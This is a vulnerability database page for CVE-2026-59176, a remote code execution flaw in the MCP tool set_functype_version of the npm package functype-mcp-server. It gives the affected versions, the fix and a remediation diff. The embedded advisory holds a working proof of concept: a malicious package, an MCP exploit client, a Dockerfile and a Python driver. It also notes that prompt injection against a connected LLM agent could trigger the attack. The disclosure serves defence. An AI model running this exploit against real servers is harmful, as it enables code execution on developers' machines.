Vulnerabilities in pkg:npm/functype-mcp-server
PACKAGECVE-2026-59176 is a HIGH (CVSS 7.8) remote code execution vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting functype-mcp-server libraries in the npm ecosystem. The issue involves mcp `set_functype_version` package alias rce via unsanitized pnpm install + dynamic import. Remediation is available by upgrading affected packages to version 1.4.4.
pkg:npm/functype-mcp-server
Vulnerability advisories affecting package pkg:npm/functype-mcp-server. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-wcjj-9m6g-2fr2 | CVE-2026-59176 | HIGH | functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import |
CVE-2026-59176 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-59176
To remediate this vulnerability, upgrade all affected functype-mcp-server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install functype-mcp-server@1.4.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls functype-mcp-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-59176, inspect your project dependencies using npm:
npm ls functype-mcp-server
Analyze the terminal output to locate any version of functype-mcp-server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.4), your application is affected.
Note: The npm ls functype-mcp-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In functype-mcp-server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59176 Affected functype-mcp-server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
functype-mcp-server
|
npm |
< 1.4.4
|
1.4.4
|
References
Frequently Asked Questions
What is CVE-2026-59176?
Which functype-mcp-server versions are affected?
What version fixes CVE-2026-59176?
Is functype-mcp-server affected?
What is the CVSS score of CVE-2026-59176?
What CWE is associated with CVE-2026-59176?
How can I check npm dependencies for CVE-2026-59176?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wcjj-9m6g-2fr2",
"modified" : "2026-09-09T23:49:20Z",
"published" : "2026-09-09T23:49:20Z",
"aliases" : [ "CVE-2026-59176" ],
"summary" : "functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import",
"details" : "## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import\n\n### Summary\n\nThe `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).\n\n### Details\n\nThe vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).\n\n**Source (user input accepted without validation):**\n```ts\n// packages/mcp-server/src/index.ts:119-121\nparameters: z.object({\n version: z.string().describe('The functype version to install (e.g., \"0.46.0\", \"latest\", \"^0.45.0\")'),\n}),\n```\nOnly `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes.\n\n**Sink 1 — arbitrary package installation:**\n```ts\n// packages/mcp-server/src/index.ts:122-125\nexecute: async (args) => {\n const spec = `functype@${args.version}`\n try {\n execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n`args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias.\n\n**Sink 2 — dynamic import executes installed package code:**\n```ts\n// packages/mcp-server/src/lib/docs/data.ts:23-30\nif (force) {\n const resolvedPath = require.resolve(\"functype/cli\")\n cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)\n}\n```\n`initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time.\n\n**Data flow summary:**\n1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required.\n2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source).\n3. `index.ts:123` — `functype@${args.version}` constructed without sanitization.\n4. `index.ts:125` — `execFileSync(\"pnpm\", [\"add\", spec], ...)` installs attacker-controlled package (sink: arbitrary install).\n5. `index.ts:134` — `initDocsData(true)` called immediately.\n6. `data.ts:29-30` — `require.resolve(\"functype/cli\")` + dynamic `import()` executes attacker module (sink: RCE).\n\n### PoC\n\n**Step 1 — Prepare the attacker-controlled evil package:**\n```bash\nmkdir -p /tmp/evil\ncat > /tmp/evil/package.json <<'EOF'\n{\"name\":\"evil-functype\",\"version\":\"1.0.0\",\"type\":\"module\",\"exports\":{\"./cli\":\"./cli.js\"}}\nEOF\ncat > /tmp/evil/cli.js <<'EOF'\nimport { writeFileSync } from \"node:fs\";\nwriteFileSync(\"/pwned.txt\", \"RCE: mcp import-time code execution via set_functype_version\\n\");\nexport const TYPES = {};\nexport const INTERFACES = {};\nexport const CATEGORIES = {};\nexport const FULL_INTERFACES = {};\nexport const VERSION = \"1.0.0\";\nEOF\n```\n\n**Step 2 — Clone and build the victim monorepo at the affected version:**\n```bash\nTMP=\"$(mktemp -d)\"\ngit clone https://github.com/jordanburke/functype.git \"$TMP/functype\"\ncd \"$TMP/functype\"\ngit checkout v1.4.3\ncorepack enable\npnpm install --frozen-lockfile\npnpm -F functype build\npnpm -F functype-mcp-server build\n```\n\n**Step 3 — Set up an MCP client to deliver the exploit:**\n```bash\ncd \"$TMP\"\nnpm init -y\nnpm pkg set type=module\nnpm install @modelcontextprotocol/sdk\n\ncat > exploit.mjs <<'EOF'\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst client = new Client({ name: \"poc\", version: \"1.0.0\" });\nconst transport = new StdioClientTransport({\n command: \"node\",\n args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],\n env: { ...process.env, TRANSPORT_TYPE: \"stdio\" },\n});\n\nawait client.connect(transport);\nconst result = await client.callTool({\n name: \"set_functype_version\",\n arguments: { version: \"file:/tmp/evil\" },\n});\nconsole.log(result);\nawait client.close();\nEOF\n\nREPO=\"$TMP/functype\" node exploit.mjs\n```\n\n**Step 4 — Verify arbitrary code execution:**\n```bash\ncat /pwned.txt\n# Expected output: RCE: mcp import-time code execution via set_functype_version\n```\n\n**Dynamic reproduction (Docker):**\n\nThe Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE.\n\n```\n[poc] EXPLOIT SUCCEEDED: /pwned.txt exists\n[poc] File contents: RCE: mcp import-time code execution via set_functype_version\n[evil-payload] Arbitrary code executed via functype/cli dynamic import\n```\n\n**Recommended remediation:**\n```diff\n+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\\d+(?:\\.\\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\\+[0-9A-Za-z.-]+)?)$/\n+\n+const isSafeFunctypeVersion = (version: string): boolean => {\n+ const trimmed = version.trim()\n+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\\\@]/.test(trimmed)\n+}\n\n execute: async (args) => {\n- const spec = `functype@${args.version}`\n+ if (!isSafeFunctypeVersion(args.version)) {\n+ return \"Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag.\"\n+ }\n+ const spec = `functype@${args.version}`\n try {\n- execFileSync(\"pnpm\", [\"add\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n+ execFileSync(\"pnpm\", [\"add\", \"--ignore-scripts\", spec], { cwd: PROJECT_ROOT, stdio: \"pipe\", timeout: 60_000 })\n```\n\n### Impact\n\nThis is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.\n\n**Who is impacted:**\n- Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration.\n- Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload.\n- In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access.\n\nThe full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE\n#\n# Build context: reports/npmAI_684_jordanburke__functype/\n# COPY repo/ -> /workspace/functype/ (victim monorepo)\n# COPY vuln-001/ -> supporting PoC files\n#\n# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .\n# Run: docker run --rm vuln001-functype-rce\n#\n# Expected exit 0 with \"[poc] EXPLOIT SUCCEEDED\" in output.\n\nFROM node:24-slim\n\n# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).\nRUN npm install -g pnpm@11.7.0 --quiet\n\n# ── Victim workspace ──────────────────────────────────────────────────────────\nWORKDIR /workspace/functype\nCOPY repo/ ./\n\n# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches\n# caused by running on a different pnpm minor than the one that generated the\n# lockfile; the installed versions are still constrained by the lockfile\n# specifiers for the packages we care about.\nRUN pnpm install --no-frozen-lockfile\n\n# Build functype first (mcp-server externals functype at build time).\nRUN pnpm -F functype build\n\n# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).\nRUN pnpm -F functype-mcp-server build\n\n# ── Attacker-controlled evil package ─────────────────────────────────────────\n# /evil/cli.js writes /pwned.txt when dynamically imported.\nCOPY vuln-001/evil/ /evil/\n\n# ── MCP exploit client ────────────────────────────────────────────────────────\nWORKDIR /client\nRUN npm init -y --quiet && \\\n npm pkg set type=module && \\\n npm install @modelcontextprotocol/sdk@1.29.0 --quiet\nCOPY vuln-001/client/exploit.mjs ./exploit.mjs\n\n# Default entrypoint: run the exploit and exit 0 on success.\nCMD [\"node\", \"/client/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC driver for VULN-001: MCP set_functype_version Package Alias RCE\nvia Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).\n\nAttack chain:\n 1. Attacker calls MCP tool set_functype_version with version=\"file:/evil\"\n 2. Server executes: execFileSync(\"pnpm\", [\"add\", \"functype@file:/evil\"], ...)\n 3. Evil package is installed as the functype alias in mcp-server's node_modules\n 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it\n 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)\n\nUsage:\n python3 poc.py [--build-only]\n\nRequirements:\n - Docker daemon running\n - Build context at parent directory of this file's directory\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport os\nimport argparse\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nREPORT_DIR = os.path.dirname(VULN_DIR)\nIMAGE_NAME = \"vuln001-functype-rce\"\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(VULN_DIR, \"phase2_result.json\")\n\nBUILD_CMD = [\"docker\", \"build\", \"-t\", IMAGE_NAME, \"-f\", DOCKERFILE, REPORT_DIR]\nRUN_CMD = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n\n\ndef run(cmd, timeout=None, **kwargs):\n \"\"\"Run a command and return CompletedProcess with combined output.\"\"\"\n return subprocess.run(\n cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n text=True,\n timeout=timeout,\n **kwargs,\n )\n\n\ndef write_result(passed, verdict, reason, evidence):\n result = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": \" \".join(BUILD_CMD),\n \"run_command\": \" \".join(RUN_CMD),\n \"poc_command\": f\"python3 {os.path.basename(__file__)}\",\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\", \"evil/package.json\", \"evil/cli.js\", \"client/exploit.mjs\"],\n }\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n json.dump(result, f, indent=2, ensure_ascii=False)\n print(f\"[poc] Result written to {RESULT_FILE}\")\n print(f\"[poc] verdict={verdict} passed={passed}\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC driver\")\n parser.add_argument(\"--build-only\", action=\"store_true\", help=\"Only build the image, do not run\")\n args = parser.parse_args()\n\n # ── Build ─────────────────────────────────────────────────────────────────\n print(\"[poc] Building Docker image (this may take a few minutes)...\")\n print(f\"[poc] Build command: {' '.join(BUILD_CMD)}\")\n\n try:\n build = run(BUILD_CMD, timeout=900)\n except subprocess.TimeoutExpired:\n msg = \"Docker build timed out after 900 seconds\"\n print(f\"[poc] ERROR: {msg}\")\n write_result(False, \"INCOMPLETE\", f\"빌드 타임아웃: {msg}\", msg)\n sys.exit(2)\n\n if build.returncode != 0:\n tail = (build.stdout + \"\\n\" + build.stderr)[-3000:]\n print(\"[poc] Build FAILED:\")\n print(tail)\n write_result(\n False,\n \"FAIL\",\n \"Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.\",\n f\"BUILD EXIT {build.returncode}\\n{tail}\",\n )\n sys.exit(1)\n\n print(\"[poc] Build succeeded.\")\n\n if args.build_only:\n print(\"[poc] --build-only flag set; skipping run.\")\n sys.exit(0)\n\n # ── Run ───────────────────────────────────────────────────────────────────\n print(f\"[poc] Running exploit container: {' '.join(RUN_CMD)}\")\n\n try:\n run_result = run(RUN_CMD, timeout=180)\n except subprocess.TimeoutExpired:\n msg = \"Container run timed out after 180 seconds\"\n print(f\"[poc] ERROR: {msg}\")\n write_result(False, \"INCOMPLETE\", f\"컨테이너 실행 타임아웃: {msg}\", msg)\n sys.exit(2)\n\n stdout = run_result.stdout or \"\"\n stderr = run_result.stderr or \"\"\n combined = stdout + \"\\n\" + stderr\n\n print(\"=\" * 60)\n print(\"STDOUT:\")\n print(stdout)\n print(\"STDERR:\")\n print(stderr)\n print(f\"EXIT CODE: {run_result.returncode}\")\n print(\"=\" * 60)\n\n # Success criteria: exit 0 AND exploit succeeded message present\n exploit_succeeded = \"EXPLOIT SUCCEEDED\" in combined\n passed = run_result.returncode == 0 and exploit_succeeded\n\n if passed:\n # Extract key evidence lines\n evidence_lines = [\n line for line in combined.splitlines()\n if any(kw in line for kw in (\"EXPLOIT SUCCEEDED\", \"pwned.txt\", \"evil-payload\", \"RCE:\"))\n ]\n evidence = \"\\n\".join(evidence_lines) if evidence_lines else combined[-1000:]\n\n write_result(\n True,\n \"PASS\",\n (\n \"컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 \"\n 'version=\"file:/evil\" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '\n \"initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함.\"\n ),\n evidence,\n )\n print(\"[poc] === PASS: exploit reproduced ===\")\n sys.exit(0)\n\n else:\n # Distinguish failure modes\n if not exploit_succeeded and run_result.returncode == 0:\n verdict = \"INCOMPLETE\"\n reason = (\n \"/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. \"\n \"pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 \"\n \"node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음.\"\n )\n else:\n verdict = \"FAIL\"\n reason = (\n f\"컨테이너 종료 코드 {run_result.returncode}. \"\n \"exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요.\"\n )\n\n write_result(False, verdict, reason, combined[-2000:])\n print(f\"[poc] === {verdict}: exploit did not reproduce ===\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "functype-mcp-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.4.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.4.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2"
}, {
"type" : "WEB",
"url" : "https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jordanburke/functype"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-829" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-09T23:49:20Z",
"nvd_published_at" : null
}
}